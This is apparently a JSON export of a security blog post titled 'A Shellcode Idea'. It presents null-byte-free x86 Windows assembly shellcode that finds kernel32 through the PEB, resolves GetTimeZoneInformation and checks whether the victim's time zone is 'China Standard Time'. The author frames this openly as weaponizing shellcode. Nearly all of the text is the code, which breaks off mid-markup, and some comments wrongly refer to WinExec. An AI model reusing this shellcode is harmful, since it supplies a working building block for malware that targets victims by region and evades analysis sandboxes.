{"id":1608,"date":"2019-07-01T01:14:51","date_gmt":"2019-07-01T01:14:51","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1608"},"modified":"2019-07-01T01:14:51","modified_gmt":"2019-07-01T01:14:51","slug":"a-shellcode-idea","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2019\/07\/a-shellcode-idea\/","title":{"rendered":"A Shellcode Idea"},"content":{"rendered":"<p>Maybe we&#8217;re all a little black hat at times &#8211; you have to bend the rules to get things done sometimes.<br>I thought of a couple kinds of shellcode &#8211; basically checking to see if the user is in a particular country or timezone.<br>The concept of weaponizing shellcode is nothing new. This is just more fuel for the fire.<\/p>\n<p>Since whenever I think of something, code doesn&#8217;t exist, it is once again up to Joe to make the code exist.<\/p>\n<p>The following is for x86 Windows. No nulls either!<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow: auto; width: auto; border: solid gray; border-width: .1em .1em .1em .8em; padding: .2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%;\">      <span style=\"color: #0066bb; font-weight: bold;\">.486<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">.model<\/span> <span style=\"color: #996633;\">flat<\/span>, <span style=\"color: #996633;\">stdcall<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">option<\/span> <span style=\"color: #996633;\">casemap<\/span> :<span style=\"color: #996633;\">none<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">ASSUME<\/span> <span style=\"color: #007020;\">FS<\/span>:<span style=\"color: #996633;\">NOTHING<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">.code<\/span>\n<span style=\"color: #997700; font-weight: bold;\">start:<\/span>\n        \n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ecx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">edx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">esi<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">edi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">eax<\/span>,<span style=\"color: #007020;\">eax<\/span>\n\n\t<span style=\"color: #888888;\">; Establish a new stack frame<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebp<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebp<\/span>, <span style=\"color: #007020;\">esp<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">2224<\/span>\n\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">sub<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #007020;\">eax<\/span> \t\t\t<span style=\"color: #888888;\">; Allocate memory on stack for local variables<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">eax<\/span>,<span style=\"color: #007020;\">eax<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">eax<\/span> \n\t<span style=\"color: #888888;\">; push the function name on the stack<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">esi<\/span>, <span style=\"color: #007020;\">esi<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">esi<\/span>\t\t\t<span style=\"color: #888888;\">; null termination<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">6e6f6974h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">616d726fh<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">666e4965h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">6E6F5a65h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">6d695474h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">pushw<\/span> <span style=\"color: #005588; font-weight: bold;\">6547h<\/span><span style=\"color: #888888;\">; var4 = \"GetTimeZoneInformation\\x00\"<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>], <span style=\"color: #007020;\">esp<\/span> \t\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ax<\/span> <span style=\"color: #888888;\">; push 2 bytes to stack to maintain 4 byte alignment <\/span>\n\t<span style=\"color: #888888;\">; Find kernel32.dll base address<\/span>\n\t<span style=\"color: #888888;\">;xor esi, esi\t\t\t; esi is already 0, no need to xor<\/span>\n    <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, <span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">fs<\/span>:[<span style=\"color: #005588; font-weight: bold;\">30h<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">esi<\/span>]  \t<span style=\"color: #888888;\">; written this way to avoid null bytes<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">12<\/span>] \n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">20<\/span>] \n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span>]\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span>]\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">16<\/span>]\t\t<span style=\"color: #888888;\">; ebx holds kernel32.dll base address<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">8<\/span>], <span style=\"color: #007020;\">ebx<\/span> \t\t<span style=\"color: #888888;\">; var8 = kernel32.dll base address<\/span>\n\n\t<span style=\"color: #888888;\">; Find WinExec address<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">3Ch<\/span>]\t\t<span style=\"color: #888888;\">; RVA of PE signature<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span>       \t\t<span style=\"color: #888888;\">; Address of PE signature = base address + RVA of PE signature<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">78h<\/span>]\t\t<span style=\"color: #888888;\">; RVA of Export Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Export Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ecx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">24h<\/span>]\t\t<span style=\"color: #888888;\">; RVA of Ordinal Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">ecx<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Ordinal Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">0Ch<\/span>], <span style=\"color: #007020;\">ecx<\/span> \t\t<span style=\"color: #888888;\">; var12 = Address of Ordinal Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">20h<\/span>] \t\t<span style=\"color: #888888;\">; RVA of Name Pointer Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edi<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Name Pointer Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">10h<\/span>], <span style=\"color: #007020;\">edi<\/span> \t\t<span style=\"color: #888888;\">; var16 = Address of Name Pointer Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">1Ch<\/span>] \t\t<span style=\"color: #888888;\">; RVA of Address Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edx<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Address Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">14h<\/span>], <span style=\"color: #007020;\">edx<\/span> \t\t<span style=\"color: #888888;\">; var20 = Address of Address Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">14h<\/span>] \t\t<span style=\"color: #888888;\">; Number of exported functions<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">eax<\/span> \t\t\t<span style=\"color: #888888;\">; counter = 0<\/span>\n\n\t<span style=\"color: #997700; font-weight: bold;\">myloop:<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">10h<\/span>] \t<span style=\"color: #888888;\">; edi = var16 = Address of Name Pointer Table<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">esi<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>] \t<span style=\"color: #888888;\">; esi = var4 = \"GetTimeZoneInformation\\x00\"<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">ecx<\/span>, <span style=\"color: #007020;\">ecx<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">cld<\/span>  \t\t\t<span style=\"color: #888888;\">; set DF=0 =&gt; process strings from left to right<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">edi<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>]\t<span style=\"color: #888888;\">; Entries in Name Pointer Table are 4 bytes long<\/span>\n\t        \t\t\t<span style=\"color: #888888;\">; edi = RVA Nth entry = Address of Name Table * 4<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edi<\/span>, <span style=\"color: #007020;\">ebx<\/span>       \t<span style=\"color: #888888;\">; edi = address of string = base address + RVA Nth entry<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">cx<\/span>, <span style=\"color: #0000dd; font-weight: bold;\">23<\/span> \t\t<span style=\"color: #888888;\">; Length of strings to compare (len('GetTimeZoneInformation') = 23)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">repe<\/span> <span style=\"color: #996633;\">cmpsb<\/span>        \t<span style=\"color: #888888;\">; Compare the first 8 bytes of strings in <\/span>\n\t        \t\t\t<span style=\"color: #888888;\">; esi and edi registers. ZF=1 if equal, ZF=0 if not<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">jz<\/span> <span style=\"color: #996633;\">found<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">inc<\/span> <span style=\"color: #007020;\">eax<\/span> \t\t<span style=\"color: #888888;\">; counter++<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">cmp<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">edx<\/span>    \t<span style=\"color: #888888;\">; check if last function is reached<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">jb<\/span> <span style=\"color: #996633;\">myloop<\/span> \t\t<span style=\"color: #888888;\">; if not the last -&gt; loop<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">2224<\/span>\n\t\t\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #007020;\">eax<\/span>\t\t<span style=\"color: #888888;\">; clear the stack      \t\t<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">ret<\/span> \t\t<span style=\"color: #888888;\">; if function is not found, return<\/span>\n\n\t<span style=\"color: #997700; font-weight: bold;\">found:<\/span>\n\t\t<span style=\"color: #888888;\">; the counter (eax) now holds the position of WinExec<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ecx<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">0Ch<\/span>]\t<span style=\"color: #888888;\">; ecx = var12 = Address of Ordinal Table<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">14h<\/span>]  \t<span style=\"color: #888888;\">; edx = var20 = Address of Address Table<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>, [<span style=\"color: #007020;\">ecx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">2<\/span>] \t<span style=\"color: #888888;\">; ax = ordinal number = var12 + (counter * 2)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">edx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>] \t<span style=\"color: #888888;\">; eax = RVA of function = var20 + (ordinal * 4)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t<span style=\"color: #888888;\">; eax = address of func = <\/span>\n\t        \t\t\t<span style=\"color: #888888;\">; = kernel32.dll base address + RVA of func<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">edx<\/span>, <span style=\"color: #007020;\">edx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">lea<\/span> <span style=\"color: #007020;\">esi<\/span>,<span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">172<\/span>] <span style=\"color: #888888;\">;0xAC or 172 decimal is the size of the timezone structure <\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">esi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">call<\/span> <span style=\"color: #007020;\">eax<\/span> \t\t<span style=\"color: #888888;\">; GetTimeZoneInformation <\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">lea<\/span> <span style=\"color: #007020;\">esi<\/span>,<span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">168<\/span>]<span style=\"color: #888888;\">; A8 is the tz.StandardName<\/span>\n\t\n\t\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">40<\/span>],<span style=\"color: #005588; font-weight: bold;\">43h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">38<\/span>],<span style=\"color: #005588; font-weight: bold;\">68h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">36<\/span>],<span style=\"color: #005588; font-weight: bold;\">69h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">34<\/span>],<span style=\"color: #005588; font-weight: bold;\">6Eh<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">32<\/span>],<span style=\"color: #005588; font-weight: bold;\">61h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">30<\/span>],<span style=\"color: #005588; font-weight: bold;\">20h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">28<\/span>],<span style=\"color: #005588; font-weight: bold;\">53h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">26<\/span>],<span style=\"color: #005588; font-weight: bold;\">74h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">24<\/span>],<span style=\"color: #005588; font-weight: bold;\">61h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">22<\/span>],<span style=\"color: #005588; font-weight: bold;\">6Eh<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">20<\/span>],<span style=\"color: #005588; font-weight: bold;\">64h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">18<\/span>],<span style=\"color: #005588; font-weight: bold;\">61h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">16<\/span>],<span style=\"color: #005588; font-weight: bold;\">72h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">14<\/span>],<span style=\"color: #005588; font-weight: bold;\">64h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">12<\/span>],<span style=\"color: #005588; font-weight: bold;\">20h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">10<\/span>],<span style=\"color: #005588; font-weight: bold;\">54h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">8<\/span>],<span style=\"color: #005588; font-weight: bold;\">69h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">6<\/span>],<span style=\"color: #005588; font-weight: bold;\">6Dh<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">byte<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>],<span style=\"color: #005588; font-weight: bold;\">65h<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">eax<\/span>,<span style=\"color: #007020;\">eax<\/span>                       \n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">2<\/span>],<span style=\"color: #007020;\">eax<\/span>\n<span style=\"color: #888888;\">;no nulls now!<\/span>\n\t<span style=\"color: #888888;\">;lea eax,[ebp-40] ; 28h is the stored string we made<\/span>\n\t<span style=\"color: #888888;\">;invoke MessageBoxW,0,eax,eax,0<\/span>\n\n<span style=\"color: #0066bb; font-weight: bold;\">lea<\/span> <span style=\"color: #007020;\">ecx<\/span>,<span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">168<\/span>]\n<span style=\"color: #0066bb; font-weight: bold;\">lea<\/span> <span style=\"color: #007020;\">ebx<\/span>,<span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">40<\/span>]\n<span style=\"color: #997700; font-weight: bold;\">wehaveawinner:<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #333399; font-weight: bold;\">word<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ecx<\/span>]\n<span style=\"color: #0066bb; font-weight: bold;\">cmp<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #333399; font-weight: bold;\">word<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">ss<\/span>:[<span style=\"color: #007020;\">ebx<\/span>]\n<span style=\"color: #0066bb; font-weight: bold;\">jne<\/span> <span style=\"color: #996633;\">nomatch<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">ecx<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">2<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">ebx<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">2<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">test<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #007020;\">ax<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">jne<\/span> <span style=\"color: #996633;\">wehaveawinner<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebx<\/span>\n<span style=\"color: #0066bb; font-weight: bold;\">ret<\/span> \n<span style=\"color: #997700; 